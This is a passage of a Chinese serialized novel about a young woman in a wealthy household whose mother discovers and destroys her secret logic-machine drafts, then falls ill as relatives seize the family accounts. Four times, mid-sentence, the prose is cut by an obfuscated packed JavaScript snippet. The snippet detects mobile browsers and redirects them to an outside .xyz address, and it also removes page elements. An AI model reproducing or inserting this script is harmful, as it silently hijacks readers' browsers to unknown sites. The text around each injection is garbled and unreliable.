早餐桌上，照旧铺着熨得平整的桌布，银壶里是温着的牛奶，碟中是陈母早就忌了的西点，仍由管家例行端上。没有谁说要改，但这些小地方的“照旧”，有时比“改变”更让人不安。 “今天怎么没看见晨报？”陈母唐敬微淡淡问了一句。 “来了的，太太，送进书房了。”管家答。 她放下刀叉，走进书房取出那叠报纸，在沙发上坐下，随手翻开。第一版是政事，第二版是外贸，直到翻到第三版副刊，才缓缓顿住。 是一则小报上印着的评论，署名是个从未听过的笔名。标题却扎眼得很：《南州望族夫人昔日风光，今朝暗潮涌动？》。 她不动声色地扫了一眼，笔法显然不算高明，语句堆砌，却句句带刺，说的是市面上对陈家近日生意“变化”的猜测，也隐隐提及“陈夫人性情强势，凡事掌权，打压陈家男丁”，甚至连她昔年入主陈宅前的出身也拐着弯提了一句。 她没有评论什么，只是把报纸合上，折得一丝不乱。 那一瞬间，她脸上没有半点怒意，只有一种格外沉静的锋利，就像削过头的一柄刀，收回鞘中。 这时陈蔚青从楼上走了下来，规规矩矩地坐到餐桌上，女仆忙把她的那一份西式早餐端上来。 “太太，芳太太那边传话，说今晚茶会临时改到下周，说是家里有亲戚来了。”管家小心翼翼地说道。 “改了就改了。”唐敬微淡声道。 管家犹豫了一下，看了一眼陈蔚青，压低声音，又说：“前几日黎家送来的回帖，说陈小姐最近和那位沈家二少来往甚密，坊间有几句闲话……太太您看，要不要回一封帖子解释下？” 陈蔚青浑身一抖，往嘴里送点心的手一顿，又假装若无其事的继续。 母亲只一字一句地回答说：“该回的帖子，一封也别落。” 管家点点头，走了出去。待管家走远，母亲终于开口，但语气还是淡淡的：“你最近常和婉芝见面？” “嗯，在她家和她一起学法文。”蔚青点头。 “噢？只是学习？学得怎么样了？” 蔚青愣了一下，没来得及答，母亲已经起身，把报纸放在桌上，有些用力，发出“咚”的一声。她没有再追问，也没再说话。 上午的天气暖得有些过分，阳光透过窗棂，把书桌上的稿纸照得微微发亮。热气在空气里打着旋儿，晕开了一种静谧得近乎停滞的沉默。 陈蔚青窝在书桌前，翻开那一叠从梁老师那儿借来的逻辑代数教案。铅笔夹在耳边，手边的笔记本已经写了满满三页，密密麻麻，布满她对命题的演绎、等价变换、真假值判断。 可她忽然翻累了，脑子像在一阵一阵地发胀。 她把笔记本合上，又把桌上的教材推到一边，拉开抽屉，从最底下那格抽出一摞夹着旧稿的纸夹。 里面是她自己整理的“问题-答案”表，每一道题目像是某种“思想的零件”，她曾反复改写它们，用它们作为推理的一部分，作为“那台机器”的输入参数。 纸张有点皱了，左上角有个被揉过又摊平的折痕。她看了看，前六个问题都已经被写好。 她提起笔，迟疑了一下，写下：问题七：如果你必须违背某些原则才能完成它，你会接受吗？ 字迹一开始还端正，到最后那个“吗”字的时候却歪了一点，像是有什么微小的犹豫突然挤进来了。 她盯着这句话看了很久，眼神有点发空。 片刻后，她低头，又写下：问题八：你是否相信，这件事只能由你来做？ 写完这句，她的呼吸轻轻顿了一下，仿佛自己也没意识到，这两个问题其实不是为了那个机器在问，而是为了她自己。 她放下笔，靠在椅背上。 春日的阳光落在她脸上，她却觉得有些冷。耳边是远处院子里女仆晒衣裳时传来的晃杆声，“咚咚”地敲着地面，很远，却很近。 午饭时，阳光正好斜照在餐桌上，洁白的桌布被金光染上一层柔和的光晕。银餐具摆得一丝不乱，陶瓷碟子上是切得细细的牛肉和酥软的芦笋——一切都和往常没有分别。 陈蔚青吃得慢，一边切一边低头琢磨着怎样开口。终于，她放下筷子，小心翼翼道：“妈，我今天在报纸上看到那个评论了。” 唐敬微的动作微不可查地一顿，但没抬头，只是拿餐巾轻轻擦了擦嘴角。 蔚青语气低了几分：“他们根本不了解你……他们写的那些，全是胡说八道。你……”她忽然有些激动，却又咬着牙压住，“他们全都不懂……” “嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569299|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”母亲淡淡应了一声，然后忽然开口，语调轻得像是在聊天气，“你今天不去婉芝那里吗？” 蔚青怔住。 “我……下午去。”她垂下眼，不敢多说。 餐桌上陷入了短暂的沉默，只有汤匙碰到碗沿发出一两声清脆响动。 母亲没有再说什么，蔚青也没再追问。她吃完饭，起身离开时，只说了一句：“我晚上…晚点回来，婉芝她…嗯…有事。” “嗯。”母亲仍是那种不轻不重的回答，像极了蔚青小时候摔倒时，她帮她擦破皮的膝盖时用的那种声音。 黄昏刚刚落下的时候，屋里一点风都没有。客厅里燃着一盏灯，门没关严，映出唐敬微的身影从客厅走上二楼。 陈蔚青的房间东西很多，但干净整洁得近乎克制。书桌上摆着数学笔记、逻辑课本，还有一沓被压在书下的打草稿的纸张。母亲站了很久，像是在权衡什么。 最终，她伸手翻开了那沓纸。 第一页，是她自己的名字：“唐敬微”，旁边标着几个方框：“家庭角色”“社会身份”“语言风格”——像是什么分析框架。再翻，写着：“她为什么总能掌握场面？”“她的‘温柔’是一种权力吗？”“她是否曾为自己牺牲？”……每一页都像是手术刀下的切片，带着某种既钦佩又质问的语气。 唐敬微的眉心慢慢皱起来。 再翻一页，是一组整齐写在米黄色格纸上的问题。那是蔚青今早留下的那一张纸。 上面只写了八个问题，她一行一行地读下去： “你觉得你是否有能力做成这件事？ 你是否愿意为这件事放弃一切？ 你要做的这件事，会被你的家人所接受吗？ 如果没有人理解你，你还会坚持下去吗？ 如果做这件事会让你伤害别人，你还会做吗？ 如果你失败了，你还会承认它是对的吗？ 如果你必须违背某些原则才能完成它，你会接受吗？ 你是否相信，这件事只能由你来做？” 屋内的灯光静静地照着她手中的纸，那些字迹不大，却极为清晰，像是某种正在逼近的宣言。 她只是轻轻放下，但神情已经彻底变了，连空气都屏住了呼吸。 她站起身，走出屋子，门没关，灯还亮着。窗外枝头有一只鸟飞了起来，在风中惊起一抹残影。 25. 春雪 陈蔚青晚饭回来得有些迟，一推门，客厅里空无一人。她脱下外衣，走上楼，打开房门的那一刻，整个人顿住了。 房子里的灯亮着，母亲正坐在她书桌前的椅子上，向她往常一样背对门，手边摆着她那些数理逻辑笔记和资料。 "……妈？"她下意识地开口，又硬生生改口，“母亲。” 唐敬微没有回头，指尖轻轻按住那张泛着笔迹热度的纸，只说了一句：“你回来啦。” 空气凝固了一瞬。 蔚青站在门口，手上攥着书包带，脑中一片空白。她努力让声音平稳一些："我还没整理好桌子，你要用的话我可以——" "你最近很忙。"母亲淡淡地说，语气听不出情绪，"和婉芝，和沈家的，还有那两个——孩子。" "……他们不是孩子了。"蔚青小声道，但她知道她想说的其实是：我也不是孩子了。 “是不是孩子不重要，”唐敬微语气平静，却一字一刀，“那个罗炽南他是黑市上的蛀虫，是泥里的人，不该出现在你身边——或者你该有点自知之明，不该出现在他身边。” 这句话像一颗石子投进水面。 “又来了……”她在心里低低地喊，几乎是下意识地咬紧了牙。 是的，又来了。母亲这样说，梁老师也这样说。他们都是那么温和地、清晰地、仿佛毫无恶意地说出那句话：“那小子是黑市的人，跟你不是一种人。” 她笑不出来，也说不出话来。 她站在那里，像一块站在舞台边缘的布景，被排练时留下的灯光照得半明半暗。 她不记得自己当时有没有回话，只记得当时脑子里像是闯进了另一个声音—— “如果不是活不下去，谁愿意做黑市的老鼠？” 那是罗炽南在锅炉房角落，点着一根劣质香烟时说的。他没看她，只是望着窗外，声音混在风里，那时他的声音一点都不像那个黑市里年轻的王，也不像那个总是在工厂里在工头旁边唯唯诺诺的修理工，只像罗炽南，像罗炽南“原来”的样子。 她那时候没答话。可她记住了。 现在，站在她母亲面前，她忽然发现自己想说什么，却说不出来。心里的愤怒像是被什么堵住了出口。她很想说“你们都不懂”，很想说“不是那样的”，可她知道，这些话一说出来，听上去就像一个小女孩为自己的“冒险”找借口。 “他只是……”她试着开口，却发现自己的声音也像是偷偷混进母亲餐桌的那几页报纸，一点分量也没有，“只是做些杂活……换口饭吃。” 她说得太轻，连她自己都听不见。 她忽然觉得羞愧——当然不是因为“和黑市人来往”，而是因为她连捍卫这个决定的语言都变得如此软弱。就像她做的事，在别人眼里连“被认真反驳”的资格都没有。 “我难道就不能单纯地只是相信他吗？”她几乎是对自己说，“难道非要等他有身份、有地位、有背景，我才可以站在他身边？” “太可笑了，我为什么连选择的权利都没有？” 但她说不出口。因为她知道，一旦说出口，那就是和母亲的正面对抗——而她已经预感到，今天这场对抗，迟早是挡不住的。 唐敬微终于转过身来。 她的动作极轻，却带着一种无声的威压，仿佛一道封存已久的大门，在这沉默中被缓缓推开。 她站起身，目光沉静地望向蔚青。那一眼里没有怒意，甚至没有明显的悲喜，只有一种看透一切的冷静，如同夜色深处一盏不闪的灯。 “我知道你一直在永丰纱厂。”她的声音轻得像是从梦里传来，却异常清晰，每一个字都像压着重量。 她停了一下，仿佛要在语言中找一个更妥帖的位置。最终她重新开口，语气中第一次浮现出一种无法掩饰的悔意：“怪不得你比那些城市小报还早知道罢工的事。我还以为是沈时砚那孩子告诉你的……想来，他也不是那种会关心这些的人。” 她顿了顿，像是意识到某个更深的事实，低声又道：“我现在知道了。” 语气陡然沉下来，带着一丝不可名状的悲怆。 “你一直在那个锅炉房。”她说，“你根本不在婉芝家。” 这一句话像是一块钉子，直直钉在空气的静止之中。 陈蔚青的身体轻轻一震，喉咙像被什么紧紧勒住，半晌才从牙缝里挤出一句：“……你叫人，跟踪我？” 母亲没有立刻回答。 她只是俯身，从桌上一叠资料中抽出一张纸。纸上密密地画着线路图、人物关系表，几张被剪下来的齿轮结构草图夹在中间。图纸边角卷翘，显然是常被翻动的那一类，却整理得极为整齐——像一项计划，一种从未被允许存在的沉默事业。 “这些东西，蔚青，你藏得很好，”她语气温柔得近乎悲悯，“你不觉得可笑吗？你问我为什么要‘跟踪’你——那你这些日子又何尝不是在骗我？” 陈蔚青下意识想开口辩解，可所有的言语都像被堵在喉咙里，一句也说不出来。她瞪着那张纸，好像它就是自己所有的秘密与不安、信仰与挣扎的化身——现在却赤裸裸地暴露在母亲眼前。 母亲没有回答，只是从桌上拿起那一沓纸张——上头是她画的线路图、人物表、逻辑电路草稿，还有——最重要的——那一页“关于唐敬微”的分析。 “那么你现在想干什么呢？”母亲的声音仍旧温柔，但里面已经藏不住什么了，“做那些玩具？学那些没用的东西？最后像梁悯初一样——一事无成，老大不小，还孤身一人？” “那不是无用之学！”蔚青脱口而出，声音带了颤。 “可你用不上！”唐敬微回得极快，语速也陡然加快，“有些人懂戏文、诗歌，可以去当剧作家、当词人。而你爹陈仲云懂这些呢？他懂了又怎样？他只能当陈家的一个门牌，最后还要我给他撑起这家！你明白了吗？” “我……我不是……”蔚青的嗓音哑了，“我只是……想……” “想什么？”唐敬微盯住她，“想要选择？想要看看世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569300|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界？你以为我不知道你想的那些东西？呵，或许你父亲那时候就不该让悯初过来。” “不是的！”蔚青忽然抬头，眼眶泛红，“不是因为老师，我——” “外面的世界就那么轻松？那么自由？”唐敬微像是忽然压抑不住情绪，语调陡然高了，“那小报怎么写我的你没看到？我进了几家门，别人看我的眼神都变了！就凭一句子虚乌有的八卦，就能几近扳倒我这么多年打下的局面——你没看到？” 她从未听母亲这样讲话——声音不再是往常那种克制的平和，而是被某种沉痛的东西刺破了。她第一次意识到，母亲那些刀子般的语句后面，不是纯粹的控制欲，而是真正的、无声的伤痕。 她低下头，小声道：“可是……这和梁老师没关系啊。”语气有些发颤，视线却不受控制地落在母亲鬓边——那里藏着几缕新冒出来的白发，比之前又多了好几簇。 唐敬微忽地停住了。她转身拿起那一叠对自己的资料分析，指节苍白。 “你……对他……那些心思…以为我不知道？”她语调极轻，几乎像是自言自语，她像是犹豫了一下，手中纸张轻轻一抖，“我都知道，你知不知道你这样……不对？” 蔚青的心口“咚”地一跳。 她嘴唇张了张，还没来得及说什么，就听见母亲一句接一句地砸下来。 “你还敢私底下去找他？”唐敬微狠狠地抓起她桌上那一叠逻辑讲义，“你知不知道什么叫礼义廉耻？” 这一句就像是重锤落下。蔚青呆住了，眼前一瞬发白。她忽然意识到，在她还在试图一点点理解母亲的结构与逻辑之前，母亲早就已经远比她想的要了解她了。 她脑子一片空白，她像是从山上滚落的石子，只能不停的坠落。她几乎是扑了过去，去抢母亲手里的那一沓纸。 “你放手！”母亲声音猛地提高，试图抽回那叠纸。 “你不能——”蔚青嘶声道，“那是我的东西——你不能这样！” 母亲手腕被她狠狠抓住，两人都没有退让。 “我不是……”蔚青眼神混乱，喘得几乎站不住，说出的话也开始变得毫无意义，“我不是要……我只是……” “你只是？”母亲眼中露出某种带着痛苦的清明，“‘如果你必须违背某些原则才能完成它，你会接受吗？’、‘你要做的这件事，会被你的家人所接受吗？’……你到底要做什么？把我们陈家卖给那些小报记者，好让你获得你想要的自由？” 蔚青彻底怔住了。 她张口结舌，终于意识到——母亲误会了她全部的动机。而更残忍的是，她根本无法、也不知道从哪里开始解释。 她已经不记得她那时做了、说了什么了，只记得她的情绪如洪水决堤。然后母亲唐敬微猛地甩开她的手，将那一沓纸张撕了个粉碎。 碎纸飞扬，落在空中，像是一场突如其来的雪。 它们飘落在桌上、书上、地毯上，落在她们之间，从未如此鲜明地、不可逆地，划出一条清晰的界限。 26. 百足之虫 天刚蒙蒙亮，陈蔚青醒来时，窗外正下着一场极细极冷的雨。不是春雨该有的模样，却也不再属于冬。她盯着天花板发了会儿呆，像是还没从昨日的撕纸声里彻底脱身。 母亲病倒了。 那夜的争执像是摔碎了一整个世界。纸张落地的声音犹在耳边，母亲在几天后后高烧不退，彻夜呕吐，最终在一个清晨被医生诊断为“积劳成疾，情绪刺激过重，需静养”。 陈蔚青第一次站在母亲床边喂药时，她几乎不敢伸手。母亲闭着眼没有看她，却也没有躲开——只是轻轻皱了皱眉，像平日里对一则不合时宜的传闻的反应。 自那日起，她便不曾再出过陈宅。 起初，谁也没有明说她被“禁足”了，连母亲也只是沉默。但她很快就意识到，无论她走到哪，仆人都小心翼翼地注视她；她写的信、想寄的东西，也总莫名地“晚一天再送”。 但其实没人阻止她，她只是不想再出去了。她的整个世界像被收紧了。她也不挣扎，只是沉下去了——像落在水底一块安静的石头。 她不再去锅炉房，也不再出现在女中的自习教室里，更不会再去敲响梁悯初的门，笑着叫他梁老师。日子变得安静、重复，像一根被人抽空了墨水的笔，书写着无声的日常。她几乎整日守在母亲房中，帮忙换汤药，熬粥喂水，看护夜间的发热与咳嗽。 夜晚成了她唯一属于自己的时间。 她会趁灯火将熄、仆人打盹的片刻，在房里悄悄点起一盏小油灯，捧着那摞始终藏在抽屉最底层的稿纸，把那些被撕掉的重新写一遍，然后她把最后的两个问题补齐，最后把她苦思了一个冬天的逻辑计算拼上了最后一块拼图。 “如果这件事永远不会被承认，你还会去做吗？” “你愿意为这件事隐瞒你真正的想法吗？” 她把那些逻辑一遍又一遍地推演、计算，像是在与一个沉默的朋友对话。但她却迟迟没有将它带出家门。不是因为恐惧，而是一种不明就里的犹豫——她无法判断这机器该归于哪种世界。是属于街头胡同与锅炉房？还是属于金碧辉煌的陈宅与沈宅？又或是就永远藏在纸堆与她心里就好。 黎婉芝来过几次。 她还是像以前那样会笑，会说“我又逃了一节法文课来”，但也明显收敛了许多。在陈宅里，她们不再高声笑闹，不敢手挽手走在走廊上。她甚至不进蔚青房间，只在客厅坐一会儿，聊聊大家的近况。 有天婉芝无意中瞥见压在书页下的一角的稿纸，问：“你还在做那个？”她只是点点头，却下意识将图纸收好。 她不知道为什么不把它交给婉芝，然后沈时砚他们就能完成整个机器了。 也许因为母亲还病着，也许因为家中风声太紧，也许，她自己也说不出原因。 有时候她深夜坐在床边，会想起锅炉房里那个光影交错的角落，想起罗简试着写下她人生中第一篇“文章”，想起她问：“如果我写的不好呢？”而她只说了：“你可以先试着把它写完。” 那时她狂妄到以为自己能给出所有答案。 而现在她开始怀疑：自己是不是真的有那个资格。 陈家的气氛也变了。 父亲白天在母亲床边安静坐着，夜里却独自一人写信、回帖、会客。他在努力补上原本属于母亲那份的“决断”。 二伯陈叔云一家从北方搬回了南州，说是为了照顾长嫂，实际上掌管了不少母亲生前极为在意的账目。堂兄陈闻礼也开始频繁出入账房，每一次经过她房间，都会略略收敛表情，像是在与一位“不再涉事”的亲人保持应有距离。 她心里明白，母亲说的那件事——陈家的祖业最终会被二伯一家抢回去，那件事终究是发生了。 她还记得母亲昏睡中那天夜里，一声不甚清晰的呓语。 她说：“……别怕，蔚青。” 那是蔚青第一次听见母亲在梦里说出“怕”字。她想，母亲也曾是会怕的，只是她从不让人看见罢了。 那夜，她没有再去点灯，也没有打开抽屉，只是靠在椅背上坐了很久，直到晨光慢慢把她包围。 她不知道黎婉芝什么时候会再来，也不知道自己和那台机器什么时候才会被“允许”出门。她只知道，自己正在一个缓慢而漫长的黄昏里，看着太阳慢慢落下。 后来雨终于停在了那天晚上，天没黑透，风却大得出奇。 夜已深，窗外的雨声刚停，还带点淅淅沥沥。陈蔚青靠在桌边，一手撑着额角，已经坐得久了，背都僵了。她靠在窗前，书页在桌上微微翻动，像是风中不安的呼吸。屋里静得出奇，母亲的房间透出微光，药壶的气息混着草味悄悄漫开。 忽然，一阵极轻的唱声从窗外的远处飘来。 “我本是卧龙岗散淡的人……” 那声音极低，像是有人刻意压着嗓子唱，带着夜雨打湿瓦片的潮意，又带着一点旧时戏园子的腔调。 她心头一跳。 是《空城计》。那段开头太熟了，还是老生调门——不是戏台上的敲锣打鼓那种热闹，而是清冷的单嗓，像是从某个旧年代飘过来的叹息： “因天命为蜀汉驱除乱臣……” 她猛地推开窗子。 雨夜的冷气一下扑了进来，她披了件外衣，探头望下去。那里果然站着一个人，一身灰布短褂，头发有些湿了，靠着墙根正低低唱着。月色映不清面容，但那嗓音她绝不会认错。 “罗炽南……”她喃喃念了一句。 像是被她的声音惊动，他抬头望向二楼的窗口，一句尾音刚好落下：“你来得正是时候——” 他没再唱下去，只是抬头冲她笑了笑，语气带着点不合时宜的轻快，隔着风对她说：“大小姐，还敢不敢像以前那样跳下来？” 她看了一眼脚边那扇熟悉的窗棂，又看了看站在楼下的罗炽南，她曾经在这里像只鸟儿一样一跃而下，然后扑进罗简的怀里。 “……不敢了。”她这次回答，声音很低，像被风吹散了，“我大概是胆小鬼吧。” 风吹乱她鬓边的发，她没压下去，就那么任由它在夜色里轻轻晃着。 楼下的罗炽南静了一会儿，忽然说：“你知道吗，我小时候，很小的时候，也住过这样的房子。” 蔚青一愣。 他继续说了下去，语气慢得像在剥一颗很旧的果子，露出里面带涩的核。 “我那时候娘还在，没去世之前，在这种宅子里当女佣。我跟着她，每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576635|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上在柴房打地铺。房檐上有灯，但从来不会照到我们。白天她进主屋干活，我就坐在后院台阶上，一动不动。” “你……那时几岁？”蔚青轻声问，像是顺着他的节奏走进去，不知不觉。 “可能四岁，也可能快五岁吧，后来就不记得了。”他低低笑了一声，“反正那时候我总觉得，屋子里的灯光是给‘人’准备的，像我们这种，跟他们不一样。” 她喉头动了动，想说些什么，却又说不出。 他像是也知道她想安慰，笑了一下，没给她这个机会：“后来我才明白，没什么不一样的。大家都一样，活得人不人鬼不鬼。” 风声突然大了一些，他提高了音量，像是要压过什么。 “那句话怎么说来着……百足之虫，死而不僵。那些人，在我们这种人身上找人的感觉。活得像行尸走肉，还自以为高贵。我娘那时年纪就跟我现在差不多，被他们家那位老爷，六十多岁了一个半截身子进了棺材的男人——天天揩油。主家小少爷生日不吃面特意改吃昂贵的洋蛋糕，我被安排站在他旁边陪着笑，就是为了让他从小知道，什么叫高人一等。” 蔚青的手紧紧攥住了窗沿，一句没头没尾的话不由自主地从喉咙里溢出来：“对不起…” 他干笑了两声：“大小姐，又不是你不让我吃蛋糕，你道什么歉？” “我那时不懂，只觉得他们生来就跟我们不一样。但后来我想通了——都一样。你看，不同的，是你。”他继续说。 他抬起头，语气里忽然没了咬牙切齿的狠，只有一丝温柔的不可思议：“你，陈蔚青。你和我们，和他们，都不一样。” 她一下子没忍住，眼泪像断了线的珠子落了下来，她着急忙慌地用手背抹去。 她咬着牙，勉强笑了一下：“哪能啊？你别恭维我了。” “别，谁恭维你了。”罗炽南笑了笑，声音却有点发涩。 她转身回了桌边，抽屉一拉，拿出那一沓被她反复看过无数遍的图纸、草稿、推理——她沉默地走回窗边，深吸一口气，把那一叠东西扔了下去。 风把纸张翻起一个小弧，准确落入他怀里。 “你和沈时砚不是一直等这个？”她的声音轻飘飘的，却不容抗拒，“快去当工头吧。带你妹妹过上好日子。” 他接住那叠纸，一脸狐疑：“这是什么？” “她不是想演电影，当明星吗？这是我能给的。”她顿了顿，又轻轻地说，“还有，她写字是我教的，可不许忘了我功劳。” “是了是了。”罗炽南笑了，笑得眼角带了点水光，他小心把那一叠纸收进怀里，忽然拱手抱拳，退了半步，转身走了，他边走边唱，似是有意唱给陈蔚青听的： “……赤条条来去无牵挂。那里讨烟蓑雨笠卷单行？一任俺芒鞋破钵随缘化！…… 他往巷口走去，身影被街角一盏迟迟未灭的灯照得长长的，在墙上投下一个模糊的人形，像是要融进雨后的夜风里。 陈蔚青没有叫住他。她靠着窗棂，风还在吹，她却忽然觉得自己像一口密封的瓶子，终于碎开了。 她终于哭了出来。没有声响，只是眼泪一滴一滴地落下来，仿佛整个春天都从她眼里流出去。 27. 告别 天色还没大亮，院子里的石榴树已悄悄冒出几簇新绿，枝头挂着昨夜的残雨，在风中微微颤着。春天将尽，空气中却带着些未说出口的湿热，像一场将近未近的夏日雷阵。 陈蔚青推开窗，屋外的光薄如蝉翼，照进来时落在书桌的草稿上，纸角微卷。她坐在床边，披着一件旧外衣，眼神仍有些空。自母亲病倒以来，她已经许久没有走出这个房间。 楼下传来细碎的脚步声，不再是女仆，而是皮鞋踏在木地板上带出的重响。那是堂兄陈闻礼。他近来出入账房的频率高得惊人，连管家都学会了在他面前低头应答。她记得前日他路过她门前时脚步稍顿，似是要敲门，却又什么都没做。 有人轻敲门，是仆人，语气一如既往地温顺：“小姐，陈先生吩咐，今早请您去前厅一趟，说是有客来访。” 她怔了一下，随即起身。衣橱里的衣裳大多已经褪了色，母亲不在，她也懒得再去搭配。她随手拣了一件藏青色旗袍，披了件米白外套，简单梳了头，推门下楼。 前厅的光比她想象中明亮，祖母留下的鎏金花屏被擦得一尘不染。客已在座，正是她的那刚刚从北方回南州的二伯陈叔云一家人。 他们坐在母亲惯常的位置上，茶壶旁是一本打开的账册。她走进去的那一刻，闻礼正低头写字，二伯则笑着抬起头：“蔚青，好些天不见了，气色看起来倒是好多了。” 她点头，规矩行礼：“叔伯早。” 二人交换了一个意味不明的眼神。陈闻礼淡淡地开口：“父亲说，既然婶婶身子不好，你这些日子在宅中也清闲，不如来账房帮着理理些旧账。” 话语听起来是好意，却一句一个“婶婶”“宅中”“清闲”，像是把她从“女主人之女”退回成了“客人之女”。 陈蔚青没有立刻回话。 她站在那儿，望着二人，忽然生出一种恍如隔世的错觉。那是她从未设想过的一幕：曾经母亲掌控的这间厅堂，如今正一点一点地，从她脚下滑走。 陈宅的饭厅很大，窗格极多，春末夏初的天光透进来，落在每个人脸上都有些浮动不定的光影。这日傍晚，连窗棂都仿佛比以往窄了一些，空气里沉着一种谁也不愿先开的沉默。 叔父陈叔云坐在主位，一身洗得发白的深色长衫，领口扣得严整。他年纪不算大，讲话却总带着一种中年人的审慎和分寸。饭桌另一边，父亲像是习惯了此刻的位置，低声寒暄，时不时点头附和，仿佛这不是他家的家事，而是别人的茶局。 唐敬微坐在椅子上，她用力挺直腰，就像平日那样——可谁都知道她现在病的只剩个空壳，她面色苍白得可怕，一口饭未动。她几乎不说话，偶尔抬眼看人，也只是看一瞬，便又垂下眼帘。气氛像她一样薄弱而危险，像是一碰就碎的瓷盏。 蔚青坐得极靠边，被安排在饭桌最末尾的位置。她明白这不是偶然——不是因为“位分”，而是因为她现在“方便沉默”。 她低头吃饭，一直没说话。直到听见对面堂兄陈闻礼放下筷子，用略带试探的口气开口：“这几本账册之前是伯母在管的，我理了理，是不是可以让我暂时帮忙看着？有些人手和对账流程我还不熟，管家那边可以让他多讲讲。” 他说话极客气，句句在礼数之中，可听在耳里，却字字是布局。 父亲“嗯”了一声，又看向母亲。唐敬微没有作声，手指却在桌下轻轻动了一下。 “家里的账这些年是怎么分的，你也都知道。”父亲陪笑道，“既然你伯母身体不好，闻礼这边就先帮着盯盯，也算是分担。” “这几日账房里人事变动也大，有几位跟着伯母多年的先生想告老。”陈闻礼话音一转，又淡淡道，“我想着是不是趁这机会，也该梳理一下人员。新账法也该推一推了。” 蔚青一听，终于忍不住抬头，“可账房那几位是母亲当年亲自挑的，怎能轻易——” “蔚青。”叔父陈叔云忽然笑了一声，声音里却没有丝毫笑意，“你多半不太懂这些。” 那句话既不重也不急，可就在蔚青开口的一瞬间堵了她的气。 他笑着说完这句，又继续拨弄碗中的饭粒，像是刚才不过是提了句天气。饭桌上的父亲也只是讪讪笑了笑，未置可否。 蔚青咽下口中的饭，竟觉得那饭像是生的。她张张嘴，却没再开口。 晚饭后，天色将黑未黑，风却大得出奇。檐角的风铃撞得叮叮当当，像是有人轻轻敲打着沉默的时光。 晚饭后的院子里空无一人，陈蔚青独自沿着青石小径慢慢走着。她走得很慢，每一步都像是在试图从方才的饭桌上走出来，从那个她被安排在最末席、沉默无声的角落里走出来。 她还记得饭桌上，二伯陈叔云端坐主位，父亲在旁边笑着应对，母亲沉默，虚弱地支撑着，一言不发。陈闻礼低声与管家谈着账册、人事、家资，每一句都不动声色地越过了她。她只是刚刚开口说了几句想法，陈叔云只是笑了一笑，说：“你多半不太懂这些。”然后一筷子夹起菜，像是挡住了所有回音。 那句话像是陈叔云随手掸落的一粒灰尘，可就那样不偏不倚地落在她心口。 她正走到月门下时，一道轻盈的身影出现在廊下。 “我来得不是时候吧？”黎婉芝抱着一摞书，站在微光中，像从旧日的梦里走出来，“本来想上楼找你，怕惊着伯母，就等等看。” 蔚青看着她，没有立刻说话。许久，她忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586906|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手拉了拉婉芝的袖子，就像八岁那年，她被其他的小孩子欺负，小小的黎婉芝挡在她身前，然后小小的蔚青害怕地拉住她的袖子那样。 “婉芝……”她低声说，就像又变回了那个受了委屈的小女孩，“我觉得……他们在排挤我。” 婉芝看了她一眼，没有急着安慰，只是顺势握住她的手，把她带到廊下坐下。两人并肩坐在石阶上，身后是渐渐凉下去的夜风，前方是灯火未尽的庭院。 “从前母亲在的时候，他们会阿谀逢迎，上赶着溜须拍马。”她说得不快，像是怕说太快就会崩溃，“现在呢，他们一个个，说得比唱得还好听，转身就把账册拿去自己手里，我开口，他们就说‘不懂’。” 她咬住唇角，眼里有一点亮光，却倔强得没有落下来。 “他们……他们可能不是恶人，但他们就像野狗，闻到谁弱了，就去咬谁。” 婉芝听着，忽然笑了笑：“你说话的时候像极了你母亲。” 蔚青怔了一下，眼神微微一松。 “对了，”婉芝忽然轻轻一扬眉，“你们那个机器……沈时砚说，快做好了。” 蔚青一愣，那双眼睛里像一下子有了光。 “真的？” “当然真的。”婉芝笑着点头，“他说你给的那些东西太复杂，连他也研究了好几天。现在慢慢拼出来了——不然你以为他天天窝在工厂是干嘛呢？” 蔚青眼眶一热，笑着握住婉芝的手：“幸好有你。” 她声音不大，却一字一句：“只要你在，我就不会真的觉得自己是个彻底失败的人。” 